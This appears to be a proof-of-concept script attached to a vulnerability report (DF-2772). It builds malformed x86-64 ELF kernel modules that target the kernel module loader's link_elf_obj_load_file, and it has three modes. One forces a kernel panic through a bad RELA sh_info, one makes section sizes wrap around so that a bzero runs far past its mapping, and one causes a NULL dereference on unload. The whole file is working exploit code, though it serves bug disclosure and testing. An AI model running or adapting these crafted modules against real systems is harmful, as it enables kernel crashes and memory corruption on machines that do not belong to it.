DF-2772 / gen_module.py
#!/usr/bin/env python3 # Craft minimal ET_REL x86-64 "KLD" modules that hit link_elf_obj_load_file # paths with attacker-chosen section metadata. # argv[1] = out path # argv[2] = mode: # panic-rela (DF-2772) RELA sh_info=0 -> panic("lost base for relatab") # mapsize-wrap (DF-2771) two NOBITS sizes summing to 0x1010 mod 2**64 # -> undersized mapping -> wild bzero past its end # nrel-nullderef (DF-2773) no PROGBITS + one RELA -> "file has no # contents" error path -> unload derefs relatab==NULL import struct, sys EHDR = struct.Struct('<16sHHIQQQIHHHHHH') SHDR = struct.Struct('<IIQQQQIIQQ') # name,type,flags,addr,offset,size,link,info,align,entsize def shdr(name=0, typ=0, flags=0, addr=0, off=0, size=0, link=0, info=0, align=1, ent=0): return SHDR.pack(name, typ, flags, addr, off, size, link, info, align, ent) def ehdr(shoff, shnum, shstrndx): ident = b'\x7fELF' + bytes([2, 1, 1, 0, 0]) + b'\0'*7 return EHDR.pack(ident, 1, 62, 1, 0, 0, shoff, 0, 64, 0, 0, 64, shnum, shstrndx) mode, out = sys.argv[2], sys.argv[1] symtab = b'\0' * 24 # one null symbol strtab = b'\0' # just the leading NUL shstrtab = b'\0' text = b'\x90' * 16 # ---- decide the section list (index, type, payload-or-None, extra shdr args) # fixed indices when .text present if mode in ('panic-rela', 'mapsize-wrap'): S_SYMTAB, S_STRTAB, S_SHSTRT = 2, 3, 4 elif mode == 'nrel-nullderef': S_SYMTAB, S_STRTAB, S_SHSTRT = 1, 2, 3 else: sys.exit('bad mode') secs = [shdr()] # 0: NULL if mode in ('panic-rela', 'mapsize-wrap'): secs.append(shdr(typ=1, off=EHDR.size, size=len(text), align=1)) # .text secs.append(dict()) # placeholders patched below secs.append(dict()) secs.append(dict()) payloads = [] # (payload bytes) in file order after ehdr off = EHDR.size def place(b): global off o = off; off += len(b); payloads.append(b); return o if mode in ('panic-rela', 'mapsize-wrap'): text_off = place(text) secs[1] = shdr(typ=1, off=text_off, size=len(text), align=1) sym_off = place(symtab) str_off = place(strtab) shstr_off= place(shstrtab) if mode == 'panic-rela': # RELA whose sh_info=0 names the SHT_NULL section -> findbase()==0 rela = b'\0' * 24 # content irrelevant, panic precedes entries rela_off = place(rela) secs.append(shdr(typ=4, off=rela_off, size=len(rela), link=S_SYMTAB, info=0, align=8, ent=24)) elif mode == 'mapsize-wrap': # NOBITS sizes sum to 0x1010 mod 2**64 -> mapsize wraps to 0x1010 -> # 2-page mapping -> bzero(mapbase+16, 2**64-0x1000) runs past its end secs.append(shdr(typ=8, off=0, size=0xFFFFFFFFFFFFF000, align=1)) secs.append(shdr(typ=8, off=0, size=0x2000, align=1)) elif mode == 'nrel-nullderef': # one RELA, zero PROGBITS/NOBITS sections rela = b'\0' * 24 rela_off = place(rela) secs.append(shdr(typ=4, off=rela_off, size=len(rela), link=S_SYMTAB, info=1, align=8, ent=24)) # fill symtab/strtab/shstrtab shdrs at their reserved slots idx = 2 if mode in ('panic-rela', 'mapsize-wrap') else 1 secs[idx] = shdr(typ=2, off=sym_off, size=len(symtab), link=S_STRTAB, info=1, align=8, ent=24) secs[idx+1] = shdr(typ=3, off=str_off, size=len(strtab), align=1) secs[idx+2] = shdr(typ=3, off=shstr_off,size=len(shstrtab),align=1) shoff = off shnum = len(secs) img = bytearray(ehdr(shoff, shnum, S_SHSTRT)) for p in payloads: img += p assert len(img) == shoff for s in secs: img += s assert len(img) == shoff + 64 * shnum open(out, 'wb').write(bytes(img)) print(f'wrote {out}: {len(img)} bytes, mode={mode}, shnum={shnum}') |